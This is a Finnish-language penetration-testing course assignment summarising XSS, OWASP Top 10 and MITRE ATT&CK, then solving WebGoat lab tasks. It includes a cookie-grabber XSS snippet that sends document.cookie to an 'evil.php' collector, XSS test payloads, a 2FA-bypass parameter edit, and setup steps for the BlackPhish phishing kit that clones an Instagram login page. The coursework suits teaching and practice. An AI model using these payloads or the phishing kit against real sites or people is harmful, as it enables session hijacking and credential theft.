Tunkeutumistestauskurssi harjoitus 3: Attaaack!

Kurssisivu: https://terokarvinen.com/2021/penetration-testing-course-2021-autumn/

Tehtävänannot: https://terokarvinen.com/2021/penetration-testing-course-2021-autumn/#h3-attaaack

x) Tiivistelmät

Percival & Samancioglu 2020: The Complete Ethical Hacking Course: Chapter 21: Cross Site Scripting videot

  • XSS = Cross-Site Scripting
  • Cross-Site Scriptingissa injektoidaan JavaScript-koodia verkkopalvelimelle (koodi suoritetaan uhrin selaimessa).
  • Reflected Cross-Site Scriptingissa manipuloidaan URLia, joka lähetetään uhrille. Kun uhri klikkaa linkkiä, JavaScript-koodi suoritetaan hänen selaimessa.
  • Stored Cross-Site Scriptingissa tallennetaan JavaScript-koodi nettisivulle, ja kun käyttäjä menee sivulle, koodi suoritetaan käyttäjän selaimessa.
  • BeEF (Browser Exploitation Framework Project) mahdollistaa selaimen ottamisen koukkuun XSS:n avulla.
  • XSS:ltä voi suojautua kun estää selaimessa JavaScriptin.

OWASP 10 2017. A2 Broken Authentication, A3 Sensitive Data Exposure ja A7 Cross-Site Scripting hyökkäysten tekotavat

A2 Broken Authentication

  • Tunnusten täyttö käyttäen tunnettuja salasanoja.
  • Useimmat hyökkäykset tapahtuvat kun on käytetty samoja ja heikkoja salasanoja. Suositeltavaa käyttää kaksivaiheista tunnistautumista.
  • Sovelluksen aikakatkaisua ei ole asetettu. Käyttäjä käyttää julkista tietokonetta, eikä kirjaudu ulos, vaan sulkee selaimen. Hyökkääjä käyttää samaa selainta esimerkiksi tunnin päästä, ja sessio on vielä käynnissä.

A3 Sensitive Data Exposure

  • Sovellus salaa luottokorttien numerot, mutta tietojen salaus puretaan automaattisesti tietoja noudettaessa, mikä mahdollistaa SQL injektiolla luottokorttinumeroiden hakemisen tekstinä.
  • Sivusto ei käytä pakotettua TLS:ää kaikilla sivuilla, tai tukee heikkoa salausta. Hyökkääjä valvoo verkkoliikennettä, sieppaa pyynnöt ja varastaa käyttäjän evästeen. Hyökkääjä toistaa evästeen ja kaappaa käyttäjän istunnon.
  • Salasanatietokanta käyttää yksinkertaisia tiivisteitä salasanojen tallentamiseen. Tiedoston latausvirhe sallii hyökkääjän hakea salasanatietokannan.

A7 Cross-Site Scripting

  • Sovellus käyttää epäluotettavia tietoja HTML-koodin rakentamiseen, hyökkääjä muuttaa selaimen CC-parametreja, uhrin istunto ID lähetetään hyökkääjän sivustolle, ja hyökkääjä kaappaa istunnon.

MITRE 2021: ATT&CK Enterprise Matrix

Käsitteet:

  • Tactic: taktinen tavoite, syy toiminnan suorittamiseen. Esimerkiksi hyökkääjä haluaa saada käyttöoikeustiedot.
  • Technique: kuinka hyökkääjä saavuttaa taktisen tavoitteen.
  • Procedure: kuinka hyökkääjä toteuttaa tekniikan, saavuttaakseen taktisen tavoitteen.

Taktiikat:

  • Reconnaissance (tiedustelu): hyökkääjä kerää tietoja, jota hän voi käyttää tulevien operaatioiden suunnitteluun. Esimerkkitekniikka Gather Victim Identity Information (uhrin henkilötietojen keruu): hyökkääjä kerää tietoja kohteen henkilöllisyydestä, joita voidaan käyttää kohdistamisen aikana.
  • Resource Development: hyökkääjä luo, ostaa tai varastaa resursseja (esim. infra ja tilit), jotka tukevat kohdistamista. Esimerkkitekniikka Compromise Accounts: hyökkääjä vaarantaa esimerkiksi olemassa olevan sosiaalisen median tilin, ja muodostaa sitä kautta luottamuksen uhriin.
  • Initial Access: koostuu tekniikoista, joilla saadaan ensimmäinen jalansija verkkoon. Pääsyn kautta saadut jalansijat mahdollistavat hyökkääjälle jatkuvan käytön kohteen tileissä tai etätyökalujen käytön kohdelaitteeseen. Esimerkkitekniikka Phishing (tietojenkalastelu): hyökkääjä lähettää tietojenkalasteluviestejä päästäkseen uhrin järjestelmiin. Kaikki tietojenkalastelun muodot ovat sähköisesti toimitettuja sosiaalista manipulaatiota.
  • Execution: hyökkääjä yrittää käyttää haitallista koodia. Koostuu tekniikoista, jotka johtaa hyökkääjän hallinnoimaan koodiin paikallisessa- tai etäjärjestelmässä. Esimerkkitekniikka: Command and Scripting Interpreter: hyökkääjä väärinkäyttää komentotulkkia skriptien suorittamiseksi.
  • Persistence: hyökkääjä pyrkii säilyttämään jalansijansa. Koostuu tekniikoista, joita hyökkääjä käyttää säilyttääkseen pääsyn järjestelmiin keskeytysten jälkeen. Esimerkkitekniikka Account Manipulation (tilin manipulointi): hyökkääjä manipuloi käyttäjätilejä säilyttääkseen pääsyn uhrin järjestelmiin. Koostuu esimerkiksi käyttäjäoikeuksien muokkaamisesta.
  • Privilege Escalation (kohotetut käyttöoikeudet): hyökkääjä yrittää saada ylemmän tason käyttöoikeuksia. Esimerkkiteknikka Abuse Elevation Control Mechanism (oikeuksien korottamisen väärinkäyttö): hyökkääjä kiertää mekanismeja, jotka on suunniteltu hallitsemaan käyttöoikeuksien korottamista, saadakseen ylemmän tason oikeudet.
  • Defense Evasion (puolustuksen väistäminen): hyökkääjä yrittää välttää kiinni jäämisen. Esimerkkitekniikka Hide Artifacts (kohteiden piilottaminen): hyökkäjät piilottavat esimerkiksi tiedostoja ja hakemistoja, jotta käyttäjä ei pääse muuttaman tiedostoja ja/tai ominaisuuksia järjestelmässä.
  • Credential Access (pääsy käyttäjätunnuksiin): hyökkääjä yrittää varastaa tilien nimiä ja salasanoja. Esimerkkitekniikka Brute Force (raaka voima): hyökkääjä yrittää systemaattisesti arvata salasanaa käyttämällä toistuvaa mekanismia.
  • Discovery (löytäminen): hyökkääjä yrittää selvittää ympäristösi. Esimerkkitekniikka Account Discovery (tilin löytäminen): hyökkääjä yrittää selvittää kaikki tilit järjestelmästä.
  • Lateral Movement (sivuttaisliike): hyökkääjä yrittää liikkua ympäristön läpi. Esimerkkitekniikka Exploitation of Remote Services (etätyökalujen hyödyntäminen): hyökkääjä hyödyntää etätyökaluja päästäkseen luvattomasti sisäisiin järjestelmiin verkossa.
  • Collection (kokoelma): hyökkääjä yrittää kerätä tavoitteensa kannalta kiinnostavia tietoja. Esimerkkitekniikka Adversary-in-the-Middle (vastustaja keskellä): hyökkääjä yrittää asettua kahden tai useamman verkkolaitteen väliin käyttäen AiTM-tekniikkaa tukeakseen esimerkiksi verkon sniffausta tai datan manipulointia.
  • Command and Control: hyökkääjä yrittää kommunikoida vaarantuneiden järjestelmien kanssa hallitakseen niitä. Esimerkkitekniikka: Application Layer Protocol (sovelluskerroksen protokolla): hyökkääjä kommunikoivat käyttäen sovelluskerroksen protokollia havaitsemisen välttämiseksi (soluttautumalla olemassa olevaan liikenteeseen).
  • Exfiltration (suodattaminen): hyökkääjä yrittää varastaa tietoja. Esimerkkitekniikka Automated Exfiltration (automaattinen suodatus): hyökkääjä suodattaa tietoja, esimerkiksi asiakirjoja, automaattisen käsittelyn avulla.
  • Impact: hyökkääjä yrittää manipuloida, keskeyttää tai tuhota järjestelmää ja tietoja. Esimerkkitekniikka Account Access Removal (tilin käyttöoikeuksien poistaminen): hyökkääjä keskeyttää pääsyn järjestelmään ja verkkoon, estämällä pääsyn käyttäjien tileihin. Tilit voidaan esimerkiksi poistaa tai lukita, tai muuttaa kirjautumistietoja.

z) Cross Site Story

Esimerkki XSS-hyökkäyksestä (Cookie Grabber):

Hyökkääjä voi varastaa evästeen todennetulta käyttäjältä, jos sivusto ei vahvista syötetietoja. Hyökkääjä voi varastaa todennusevästeen, ja esiintyä sen avulla tiettynä käyttäjänä. Hyökkääjä sijoittaa alla olevan koodin syötteeseen (esimerkiksi foorumit, viestit, käyttäjäprofiilit):

<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>

Yllä oleva koodi välittää evästeen pakotetun sisällön evil.php skriptille cakemonster-muuttujassa. Cookie Grabber skripti yleensä kirjoittaa evästeen tiedostoon. Hyökkääjä tarkistaa evil.php skriptin tulokset ja käyttää sitä. Eväste varastetaan jokaiselta käyttäjältä joka käy sivustolla, johon koodi on syötetty.

Lähteet:

OWASP 2021. Cross Site Scripting (XSS). Luettavissa: https://owasp.org/www-community/attacks/xss/. Luettu: 14.11.2021.

Telliskivi, L. Pentesting basics: Cookie Grabber (XSS). Luettavissa: https://medium.com/@laur.telliskivi/pentesting-basics-cookie-grabber-xss-8b672e4738b2. Luettu: 14.11.2021.

a) WebGoatin tehtävät

A2 Broken Authentication: Authentication Bypasses: 2FA Password Reset

Kuvassa ratkaistu tehtävä, jossa piti resetoida salasanan turvakysymykset. Selaimessa ensin menty Inspect Elementin Network välilehdelle. Painettu tehtävässä “submit” kun kentät olivat tyhjinä. Ensimmäisenä ilmestyi verify account kysely. Painettu sen kohdalta Edit and Resend. Muutettu parametri: secQuestion0=&secQuestion1=&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=yourid parametriksi: secQuestion2=&secQuestion3=&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=yourid ja painettu “send”. Tämän jälkeen tehtävän väri muuttui vihreäksi.

Käytetty apuna lähdettä: https://docs.cycubix.com/web-application-security-essentials/solutions/a2-broken-authentication/authentication-bypasses-2. Luettu 14.11.2021.

A3 Sensitive Data Exposure: Insecure Login

Kuvassa ratkaistu tehtävä, jossa piti painamalla “log in” hakea käyttäjätunnus ja salasana. Menty Network-välilehdelle, kun “log in” oli painettu ilmestyi kohta “start.mvc”. Painettu sitä ja valittu “Request”, josta löytyi: {“username”:”CaptainJack”,”password”:”BlackPearl”}.

Käytetty apuna lähdettä: https://docs.cycubix.com/web-application-security-essentials/solutions/sensitive-data-exposure/insecure-login-2. Luettu: 15.11.2021.

A7 Cross Site Scripting (XSS)

2 What is XSS?

Kuvassa tehtävä What is XSS. Avattu selaimessa toinen välilehti samalla urlilla kuin tehtävässä. Syötetty molempiin välilehtiin consolessa: javascript:alert(document.cookie); molemmille sivuille tuli kuvassa näkyvä ponnahdusikkuna. Eli tehtävän vastaus oli, että molemmilla sivuilla oli evästeet samat.

7 Try It! Reflected XSS

Kuvassa tehtävä Try It! Reflected XSS. Tehtävässä piti selvittää, että mikä kenttä on alttiina XSS:lle. Kyseessä on reflected XSS hyökkäys. Syötetty credit card number kenttään: alert(‘my javascript is here’). Käytetty apuna lähdettä: https://sanjana75.wordpress.com/2019/01/14/owasp-webgoat-8-lessons-a-deliberately-insecure-web-application/6/. Luettu: 16.11.2021.

b) Attakin alatekniikat. Kaksi alatekniikkaa (subtechnique) ATT&CK kehikosta demonstraatio

Credential Access: Credentials from Web Browser: käyttäjätunnuksen ja salasanan kalastaminen

Käyttäjätunnuksen ja salasanan saamiseen käytetty työkalua Blackphish, jolla voi luoda valmiita nettisivupohjia sivustoista kuten Instagram, Google ja Facebook.

Blackphis asennus Kali Linuxiin:

git clone https://github.com/iinc0gnit0/BlackPhish

cd Blackphish

./install.sh

sudo python3 blackphish.py

Kuvassa Blackphish asennettu ja valitsin, että luon Instagram sivun painamalla 1.

Kuvassa Blackphish loi lokaalin Instagram-sivun osoitteeseen 127.0.1.1.

Kuvassa menty selaimella osoitteeseen 127.0.1.1 ja tuli aidon näköinen Instagram kirjautumissivu. Kirjoitin sivulle kuvitteellisen sähköpostiosoitteen matti@google.com ja salasanan “password”, ja painoin “Log in”.

Kuvassa BlackPhish sai käyttäjätunnuksen ja salasanan Instagram kirjautumissivulta, ja kirjoittamani salasana “password” näkyy Blackphishissa.

Tehtävässä käytetty apuna lähdettä: https://www.geeksforgeeks.org/blackphish-phishing-tool-in-kali-linux/. Luettu: 16.11.2021.

Discovery: Account Discovery: sosiaalisen median tilien haku

Sosiaalisen median tilien löytämiseen käytetty työkalua Sherlock.

Sherlock asennus Kali Linuxiin (Python3 ja pip Python3:een oli jo asennettuna):

git clone https://github.com/sherlock-project/sherlock.git

cd sherlock

python3 -m pip install -r requirements.txt

Kuvassa haettu Sherlockin avulla kaikki sivustot, jossa on käyttäjänä “teemu”. Komennolla: python3 sherlock –timeout 1 teemu. Komentoon laitettu timeout 1, jotta Sherlock käyttää vain yhden sekunnin sivusta hakemiseen.

Käytetty lähteenä: https://github.com/sherlock-project/sherlock. Luettu: 16.11.2021.